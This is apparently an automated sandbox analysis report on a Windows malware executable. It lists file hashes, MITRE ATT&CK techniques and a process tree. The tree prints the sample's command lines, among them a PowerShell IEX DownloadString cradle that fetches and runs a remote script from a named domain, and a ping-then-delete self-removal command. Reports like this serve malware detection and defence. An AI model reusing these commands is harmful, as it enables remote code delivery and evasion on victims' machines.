b08f1a1b8feaf67cbae681acaacc46aedbd216586b51236e3181365ce6b488fe

Analysis

max time kernel
143s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
17-09-2023 02:43

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General

Target

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe
Size

247KB
MD5

f17afa21e88b7a362db5ae8fdfa43de9
SHA1

14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
SHA256

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
SHA512

efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
SSDEEP

3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

25 856 powershell.exe

flow	pid	process
25	856	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4124 PING.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

856 powershell.exe
856 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 856 powershell.exe

pid	process
4124	PING.EXE

pid	process
856	powershell.exe
856	powershell.exe

description	pid	process
Token: SeDebugPrivilege	856	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.execmd.execmd.exe

description	pid	process	target process
PID 776 wrote to memory of 1676	776	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 776 wrote to memory of 1676	776	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 1676 wrote to memory of 856	1676	cmd.exe	powershell.exe
PID 1676 wrote to memory of 856	1676	cmd.exe	powershell.exe
PID 776 wrote to memory of 3012	776	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 776 wrote to memory of 3012	776	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 776 wrote to memory of 3012	776	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 3012 wrote to memory of 4124	3012	cmd.exe	PING.EXE
PID 3012 wrote to memory of 4124	3012	cmd.exe	PING.EXE
PID 3012 wrote to memory of 4124	3012	cmd.exe	PING.EXE

C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe
"C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:776
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe" >> NUL
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zzzdgdol.ljk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/856-0-0x0000021FCFBD0000-0x0000021FCFBF2000-memory.dmp

Filesize
136KB

Download
memory/856-10-0x00007FFCB7050000-0x00007FFCB7B11000-memory.dmp

Filesize
10.8MB

Download
memory/856-12-0x0000021FCD9E0000-0x0000021FCD9F0000-memory.dmp

Filesize
64KB

Download
memory/856-11-0x0000021FCD9E0000-0x0000021FCD9F0000-memory.dmp

Filesize
64KB

Download
memory/856-21-0x00007FFCB7050000-0x00007FFCB7B11000-memory.dmp

Filesize
10.8MB

Download